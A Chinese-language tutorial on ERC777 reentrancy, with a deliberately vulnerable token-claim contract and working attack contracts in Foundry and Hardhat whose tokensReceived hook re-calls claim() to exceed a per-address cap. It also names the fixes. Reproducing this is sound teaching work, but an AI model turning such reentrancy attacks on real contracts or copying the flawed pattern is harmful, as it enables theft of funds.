区块链安全常见的攻击分析——ERC777 重入漏洞 ERC777 Reentrancy Vulnerability【5】
区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
Name: ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)
**重点:**通过使用 IERC1820Registry
调用 setInterfaceImplementer
函数,将 ERC777TokensRecipient
接口指向攻击合约地址。攻击合约实现了 tokensReceived
钩子函数,并在钩子中调用 SimpleBankContract.claim(address(this), 1000)
。当攻击者调用 SimpleBankContract
的 claim
函数时,会触发 tokensReceived
钩子,钩子中再次调用 claim
,从而实现重入攻击。利用这一漏洞,攻击者能够绕过 SimpleBankContract
对单账户提取上限的限制,反复提取超额代币。
1.1 漏洞合约
contract MyERC777 is ERC777 {
constructor(
uint256 initialSupply
) ERC777("Gold", "GLD", new address[](0)) {}
function mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) public returns (bool) {
_mint(account, amount, userData, operatorData);
return true;
}
}
contract SimpleBank is Test {
ERC777 private token;
uint maxMintsPerAddress = 1000;
mapping(address => uint256) public _mints;
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
function setUp() external {
// mock ERC1820Registry contract in foundry
vm.etch(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
bytes(
hex"608060405234801561001057600080fd5b5060043610..."
)
);
}
constructor(address nftAddress) {
token = ERC777(nftAddress);
// Register IERC1820Registry
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registry.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
function claim(address account, uint256 amount) public returns (bool) {
// Check if total claims for the address would exceed max mints per address.
require(
_mints[account] + amount <= maxMintsPerAddress,
"Exceeds max mints per address"
);
token.transfer(account, amount);
_mints[account] += amount; // Do not follow check-effect-interaction
return true;
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external {}
receive() external payable {}
}
1.2 漏洞分析
ERC777 的 transfer 函数会触发 tokensReceived 钩子,该钩子允许执行任意代码。
攻击合约可以在 tokensReceived 钩子中通过重入再次调用 claim,从而绕过 _mints 的检查逻辑,重复领取更多代币。
1.3 攻击分析
恶意合约首先调用 claim 函数申请代币。
token.transfer 被调用,此时触发_send→_callTokensReceived→ tokensReceived 钩子。
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_send(_msgSender(), recipient, amount, "", "", false);
return true;
}
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(from != address(0), "ERC777: transfer from the zero address");
require(to != address(0), "ERC777: transfer to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
- 恶意合约在 tokensReceived 钩子中再次调用 claim,因为 _mints 尚未更新,绕过了检查。
// tokensReceived 钩子函数 - 用于执行重入攻击
function tokensReceived(
address payable operator, // 操作者地址
address from, // 发送者地址
address to, // 接收者地址
uint256 amount, // 转账金额
bytes calldata data,
bytes calldata operatorData
) external {
if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {
console.log("777-ContractTest-tokensReceived()-222");
// 在回调中再次调用领取函数,绕过领取上限
SimpleBank(operator).claim(address(this), 1000);
}
}
- 因此获取超过限制的代币。
1.4 攻击合约
// ----------------- 攻击 -------------------
contract ContractTest is Test {
MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例
SimpleBank SimpleBankContract; // 简单银行合约实例
address alice = vm.addr(1); // Alice 的地址
address eve = vm.addr(2); // Eve 的地址
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =
keccak256("ERC777TokensSender"); // ERC1820 发送者接口
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient"); // ERC1820 接收者接口
// 初始化测试环境
function setUp() external {
// 使用 Foundry 模拟 ERC1820Registry 合约
vm.etch(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
bytes(
hex"608060405234801561001057600..."
)
);
MyERC777TokenContract = new MyERC777(0); // 部署自定义 ERC777 合约
}
// 测试 ERC777 重入攻击
function testERC777Reentrancy() public {
// 在 ERC1820Registry 中注册接收者接口
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
// 注册 tokensReceived 钩子函数
registry.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
// 初始化环境
SimpleBankContract = new SimpleBank(address(MyERC777TokenContract));
MyERC777TokenContract.mint(address(SimpleBankContract), 10000, "", ""); // 铸造 10,000 个代币到银行合约
console.log(
"Maximum claims is 1,000 for each EOA, How can you bypass this limitation?"
);
console.log(
"testERC777Reentrancy attack address(this)",
address(this) // 攻击前余额
);
console.log(
"Before exploiting, My GLD Balance :",
MyERC777TokenContract.balanceOf(address(this)) // 攻击前余额
);
// 发起领取请求,触发 tokensReceived 回调函数
SimpleBankContract.claim(address(this), 900);
// 攻击后余额,预期应为 1,900
console.log(
"After exploiting, My GLD Balance :",
MyERC777TokenContract.balanceOf(address(this)) // 攻击后余额
);
}
// tokensReceived 钩子函数 - 用于执行重入攻击
function tokensReceived(
address payable operator, // 操作者地址
address from, // 发送者地址
address to, // 接收者地址
uint256 amount, // 转账金额
bytes calldata data,
bytes calldata operatorData
) external {
if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {
console.log("777-ContractTest-tokensReceived()-222");
// 在回调中再次调用领取函数,绕过领取上限
SimpleBank(operator).claim(address(this), 1000);
}
}
// 接收以太币的回退函数
receive() external payable {}
}
1.5 hardhat版本自己重现了一次
漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
/*
名称:ERC777 重入漏洞
描述:
ERC777 代币允许在代币转账过程中通过钩子函数(`tokensReceived`)执行任意回调。
如果没有使用重入保护(Reentrancy Guard),恶意合约可以利用这些回调进行重入攻击,导致状态不一致或逻辑错误。
场景:
假设每个外部账户(EOA)最多只能领取 1,000 个代币。
攻击者可以通过重入调用绕过这一限制,领取超过上限的代币。
缓解措施:
1. 遵循检查-效果-交互模式(Check-Effect-Interaction)。
2. 使用 OpenZeppelin 的 `ReentrancyGuard` 防止重入攻击。
参考:
https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5
*/
contract MyERC777 is ERC777 {
constructor(
uint256 initialSupply
) ERC777("Gold", "GLD", new address[](0)) {}
function mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) public returns (bool) {
console.log("MyERC777-mint()-111");
_mint(account, amount, userData, operatorData);
return true;
}
}
contract SimpleBank {
ERC777 private token; // ERC777 代币实例
uint maxMintsPerAddress = 1000; // 每个地址的最大领取限制
mapping(address => uint256) public _mints; // 记录用户已领取的代币数量
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
constructor(address nftAddress) {
token = ERC777(nftAddress);
// 在 ERC1820Registry 中注册接收者接口
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registry.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
function getNum() public view returns (address registryGet) {
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registryGet = registry.getInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH
);
return registryGet;
}
// 用户领取代币
function claim(address account, uint256 amount) public returns (bool) {
// 检查领取是否超出限制
require(
_mints[account] + amount <= maxMintsPerAddress,
"Exceeds max mints per address"
);
console.log("111-ERC777-reentrancy-claim()");
token.transfer(account, amount); // 转移代币
_mints[account] += amount; // 更新领取记录(未遵循检查-效果-交互模式)
return true;
}
// tokensReceived 回调函数
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external {
console.log("777-SimpleBank-tokensReceived()-111");
}
// 接收以太币回退函数
receive() external payable {}
}
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import "./ERC777-Bank.sol";
contract ERC777Attack {
MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例
SimpleBank SimpleBankContract; // 简单银行合约实例
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
constructor(address MyERC777TokenAddress, address SimpleBankAddress) {
MyERC777TokenContract = MyERC777(address(MyERC777TokenAddress));
SimpleBankContract = SimpleBank(payable(address(SimpleBankAddress)));
// // 在 ERC1820Registry 中注册接收者接口
// IERC1820Registry registry = IERC1820Registry(
// address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
// );
// registry.setInterfaceImplementer(
// address(this),
// _TOKENS_RECIPIENT_INTERFACE_HASH,
// address(this)
// );
}
function resetRegistry() public {
// 在 ERC1820Registry 中注册接收者接口
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
// 注册 tokensReceived 钩子函数
registry.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
function getNum() public view returns (address registryGet) {
IERC1820Registry registry = IERC1820Registry(
address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
);
registryGet = registry.getInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH
);
return registryGet;
}
function attack() public {
resetRegistry();
// 发起领取请求,触发 tokensReceived 回调函数
SimpleBankContract.claim(address(this), 100);
}
// tokensReceived 钩子函数 - 用于执行重入攻击
function tokensReceived(
address payable operator, // 操作者地址
address from, // 发送者地址
address to, // 接收者地址
uint256 amount, // 转账金额
bytes calldata data,
bytes calldata operatorData
) external {
if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {
console.log("777-ContractTest-tokensReceived()-222");
// 在回调中再次调用领取函数,绕过领取上限
SimpleBankContract.claim(address(this), 1000);
}
}
receive() external payable {}
}
js 脚本
const { ethers } = require("hardhat");
const MyERC777 = require("../artifacts/contracts/ERC777-Bank.sol/MyERC777.json");
const SimpleBank = require("../artifacts/contracts/ERC777-Bank.sol/SimpleBank.json");
const ERC777Attack = require("../artifacts/contracts/ERC777-reentrancy-Attack.sol/ERC777Attack.json");
const hre = require("hardhat");
describe("ERC777", function () {
var ERC1820Registry,
MyERC777Contract,
MyERC777Address,
SimpleBankContract,
SimpleBankAddress,
ERC777AttackContract,
ERC777AttackAddress;
async function erc777ReentrancyTest() {
const [owner, implementer] = await ethers.getSigners();
const erc1820Address = "0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24";
ERC1820Registry = await ethers.getContractAt(
"IERC1820Registry",
erc1820Address
);
console.log("ERC1820Registry address:", await ERC1820Registry.getAddress());
const MyERC777Factory = new ethers.ContractFactory(
MyERC777.abi,
MyERC777.bytecode,
owner
);
MyERC777Contract = await MyERC777Factory.deploy(0);
MyERC777Address = await MyERC777Contract.getAddress();
console.log("MyERC777 address:", MyERC777Address);
const SimpleBankFactory = new ethers.ContractFactory(
SimpleBank.abi,
SimpleBank.bytecode,
owner
);
SimpleBankContract = await SimpleBankFactory.deploy(MyERC777Address);
SimpleBankAddress = await SimpleBankContract.getAddress();
console.log("SimpleBank address:", SimpleBankAddress);
const ERC777AttackFactory = new ethers.ContractFactory(
ERC777Attack.abi,
ERC777Attack.bytecode,
owner
);
ERC777AttackContract = await ERC777AttackFactory.deploy(
MyERC777Address,
SimpleBankAddress
);
ERC777AttackAddress = await ERC777AttackContract.getAddress();
console.log("ERC777AttackContract address", ERC777AttackAddress);
}
async function erc777ReentrancyAttack() {
let bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);
console.log("bank contract Balance:", bankBalance);
// 攻击前提,Bank合约有代币
await MyERC777Contract.mint(
SimpleBankAddress,
10000,
"0x", // 用有效的空字节
"0x" // 用有效的空字节
);
bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);
console.log("bank contract Balance:", bankBalance);
let attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);
console.log("攻击前,attack contract Balance:", attackBalance);
// ------- 攻击---------------发起领取请求,触发 tokensReceived 回调函数
await ERC777AttackContract.attack();
attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);
console.log("攻击后,attack contract Balance:", attackBalance);
registryGet = await ERC777AttackContract.getNum();
// console.log("registryGet address:", registryGet);
}
it("erc777ReentrancyTest deploy error", async function () {
await erc777ReentrancyTest();
});
it("erc777ReentrancyTest attack error", async function () {
await erc777ReentrancyAttack();
});
});
结果输出: